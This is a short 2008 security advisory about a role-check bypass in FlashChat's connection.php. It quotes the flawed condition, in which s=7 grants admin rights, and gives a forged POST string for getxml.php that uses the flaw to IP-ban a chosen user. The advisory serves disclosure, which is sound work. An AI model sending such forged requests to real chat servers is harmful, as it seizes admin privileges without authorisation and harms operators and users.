flashchat severe bug

2008-10-24T00:00:00
ID SECURITYVULNS:DOC:20742
Type securityvulns
Reporter Securityvulns
Modified 2008-10-24T00:00:00

Description

File: connection.php

if( ChatServer::userInRole($this->userid, ROLE_ADMIN) || ChatServer::userInRole($this->userid, ROLE_MODERATOR) || ($req['s'] == 7) <-- bypass line )

This piece of code allows a normal user to bypass role filtering and to be granted admin role as a normal user. To exploit the vulnerability simply send to getxml.php, while into the chat, this post data string (for example intercepting and modifying a legal message packet sent to the server with tamper data plugin of firefox):

for example to ban a user simply add the bypass to the normal ban string request:

replace: //normal message sent to server thas has being intercepted sendAndLoad=%5Btype%20Function%5D&t=hi everybody&r=0&id=

with: //normal ban packet used by admins or mods sendAndLoad=%5Btype%20Function%5D&t=&r=0&u=5581&b=3&c=banu&cid=1&id=

//forged packet send by attacker sendAndLoad=%5Btype%20Function%5D&s=7&t=&r=0&u=5581&b=3&c=banu&cid=1&id=

*note the s=7 added

this will ip-ban user with id 5581 from chat.

eLiSiA - 17-10-2008